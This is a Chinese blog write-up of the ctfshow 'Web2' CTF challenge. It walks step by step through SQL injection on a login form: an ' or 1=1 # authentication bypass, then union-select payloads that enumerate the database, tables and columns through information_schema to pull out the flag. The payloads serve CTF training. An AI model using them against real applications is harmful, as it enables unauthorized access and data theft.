[ctfshow]Web2
2022/6/22 23:26:07
本文主要是介绍[ctfshow]Web2,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Web2
题目描述
最简单的SQL注入
题目解析
打开页面发现有一个表单,根据题目的描述可以确定,这是一个SQL注入题目。手动填写数据包进行发送一次,用burp suite抓取数据包。
构造SQL注入语句,这是一个登录功能,那应该考虑是字符串注入,在username后面加上 ' or 1=1 #
发送
成功登录。证明构造的语句没有问题,接下来就是一把梭,猜解字段数、获取数据库名、获取表名、获取字段、拿到flag!搞!
'username=ctfshow' order by 3 #&password=123
显示登录成功,'username=ctfshow' order by 4 #
不显示,证明有三个字段。
username=ctfshow' union select 1,2,3 #&password=123
确定回显位置,看到2显示在了页面上,利用2这个位置继续搞。
username=ctfshow' union select 1,database(),3 #&password=123
获取到数据库名
username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' #&password=123
获取数据库的表名,找到flag表啦
username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' #&password=123
获取flag表中的字段名
username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=123
获取flag!
结束~
这篇关于[ctfshow]Web2的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15PingCAP 黄东旭参与 CCF 秀湖会议,共探开源教育未来
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升